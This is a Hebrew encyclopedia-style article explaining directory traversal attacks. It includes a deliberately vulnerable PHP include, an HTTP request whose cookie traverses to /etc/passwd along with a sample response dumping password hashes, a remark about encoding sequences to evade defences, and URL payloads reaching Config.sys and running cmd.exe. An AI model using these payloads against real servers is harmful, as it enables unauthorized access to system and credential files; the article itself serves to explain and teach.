Directory Traversal
Directory Traversal או Path Traversal (באנגלית: Directory Traversal, "מעבר בין סיפריות") היא התקפה נגד שרת או יישום אינטרנטי שמטרתה גישה לא מורשית אל מערכת הקבצים.
בהתקפה זו, מזהה התוקף אתרי אינטרנט המפנים לעמודים ולקבצים שונים ובודק את אימות הנתונים כאשר מזין קלט שונה.
במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, הוא מוסיף פרמטרים נוספים (/..) המשנים את מבנה הנתיב וכך הוא יכול לעבור בין סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולטעון קבצים שאינו מורשה לצפות בהם.
שימוש
פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.
בעזרת חזרה על מספר תווים הנחשבים למסוכנים, ניתן לגשת אל סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולצפות בקבצים חסוים:
- /..
- \..
- ..
ניתן לקודד את התווים ובכך לחמוק מזיהוי של מערכות ההגנה השונות.
בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:
<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>
שינוי בקשת HTTP, חזרה אל סיפריית השורש ופתיחת קובץ המשתמשים:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
לחולל שינוי בתגובת השרת:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
הפגיעות בכתובת ה-URL:
בדוגמה שלהלן, מתרחשת טעינה של קובץ בשם page.html. במידה והמערכת אינה בודקת את הערך יוכל התוקף לשנות את הערך לביטוי אחר כרצונו.
http://www.example.com/index.foo?item=page.html
בהתאם לסוג מערכת ההפעלה ובעזרת ניסוי וטעייה, יחזור התוקף אל סיפריות האב ויחפש את הקבצים הנדרשים.
http://www.example.com/index.foo?item=../../../Config.sys
במידה וגם השרת עצמו פגיע, ניתן לקרוא ליישומים הרצים עליו:
http://www.example.com/index.foo?item=../../../Windows/System32/cmd.exe?/C+dir+C:\
ראו גם
קישורים חיצוניים
23819451Directory Traversal